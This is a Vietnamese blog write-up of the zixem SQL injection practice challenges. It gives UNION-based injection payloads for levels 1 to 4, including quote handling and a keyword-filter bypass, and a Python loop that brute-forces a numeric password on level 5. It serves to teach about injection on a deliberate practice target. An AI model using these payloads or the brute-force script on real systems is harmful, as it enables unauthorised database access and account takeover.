zixem là một công cụ giúp các bạn học và hiểu được các thức hoạt động của các cuộc tấn công sql injection. hôm nay mình sẽ viết bài hướng dẫn và chi tiết các thức vượt qua tất cả các level của trò chơi.

Quy tắc:

  • Chỉ dùng firefox không dùng các công cụ khác như sqlmap …
  • chỉ tìm ra phiên bản và user của database

Level 1: Super Easy

Đây là một mức căn bản nhất chúng ta có thể dùng lệnh sau

SELECT * FROM exploits WHERE ID=1

Với câu lệnh UNION , chúng ta có thể kết hợp đầu ra với dữ liệu khác mà chúng ta muốn. Trước tiên chúng ta cần xác định số lượng cột trong bảng.

SELECT * FROM exploits WHERE ID=1 UNION SELECT 1,2--

Và kết quả

Như vậy chúng ta biết được số lượng cột của nó là có nhiều hơn. sau khi tăng số chúng ta được

Vì lỗi không còn nữa, chúng tôi biết rằng có ba cột!

Tuy nhiên, dữ liệu không hiển thị trên trang Để giải quyết điều này, chúng ta chỉ cần vô hiệu hóa id đầu tiên:

SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT 1,2,3--

Bây giờ, chỉ có dữ liệu từ lựa chọn của chúng ta sẽ được trả về:

ID và Giá được trả lại lần lượt là 21 , điều đó có nghĩa là đầu vào của chính chúng ta đang được trả lại.

Bây giờ chúng ta hãy thay đổi 21 thành
version() và user(), vì vậy tuyên bố cuối cùng của chúng tôi trông như sau:

SELECT * FROM exploits WHERE ID=1 AND 1=2 UNION SELECT version(),user(),3--

Như vậy chúng ta đã qua level 1

Level 2: Easy

Ở vòng này tôi vẫn thử như ở level 1 nhưng không có kết quả trả về

Tôi đã thử thay đổi số lượng cột, nhưng điều đó vẫn không tiết lộ gì.

Chúng ta hãy xem xét lại câu lệnh

SELECT * FROM exploits WHERE ID=1

Có thể trang web này đang lấy ID dưới dạng một chuỗi , thay vì số nguyên. để khắc phục chúng ta thêm dấu ‘


SELECT * FROM exploits WHERE ID=1'

Và câu lệnh nó sẽ như thế này

SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--

Lỗi cho chúng tôi biết rằng có một lỗi liên quan đến dấu nháy đơn. Chúng ta có thể giải quyết điều này bằng cách thêm dấu nháy đơn vào cuối

SELECT * FROM exploits WHERE ID=1 AND 1=2' UNION SELECT version(),user(),3--'

Bây giờ chúng tôi được thông báo rằng số lượng cột là sai. Bằng cách thêm một cột thứ tư vào lựa chọn, chúng ta được trả lại tên người dùng và phiên bản!

Level 3: Normal

Chúng ta thử bằng câu tấn công ở level trước

SELECT * FROM exploits WHERE ID=3' UNION SELECT user(),version(),3,4--'

Thông báo lỗi cho chúng tôi biết rằng câu lệnh đang được hiểu là user chọn uni (), version (), 3,4 – ‘ , nghĩa là sự kết hợp đang được lọc ra. Để chống lại điều này, chúng ta có thể thêm cái khác vào on, để ngay cả sau khi nó bị xóa, câu lệnh vẫn đọc union :

SELECT * FROM exploits WHERE ID=3 AND 1=2' UNIONON SELECT user(),version(),3,4--'

Bằng cách như vậy chúng ta đã vượt qua level 3

Level 4: Normal

Tôi không chắc tại sao đây là một thử thách riêng biệt, vì giải pháp gần như tương tự với Cấp độ 2.

7 AND 1=2' UNION SELECT user(),version(),3 --'

Khoan nói với chúng tôi rằng số lượng cột được nhập là sai, vì vậy cố gắng thêm một vài lần cuối cùng đã cho tôi giải pháp làm việc:

7 AND 1=2' UNION SELECT user(),version(),3,4,5 --'

Vậy là chúng ta đã qua level 4

Level 5: Get your “bot-writing” skills

Xem mã nguồn của trang cho thấy điều này:

Vào đường link trên chúng ta được

bây giờ hãy thử mật khẩu zixemhf .

Bây giờ chúng ta biết chính xác những gì chúng ta cần để bruteforce.

Vậy chúng ta cần viết một đoạn code bằng python để làm việc này

import requests as rq

for i in range(1300,99999):
	req = rq.get("http://www.zixem.altervista.org/SQLi/login_do.php?pass="+str(i))
	if "Wrong pass" in req.text:
		print("Attempt #%d" % i)
	else:
		print("\n\nSuccess!\nPassword: %d" % i)
		break

Kết quả tôi tìm ra mật khẩu là 1337

Leave a Reply

avatar
  Subscribe  
Notify of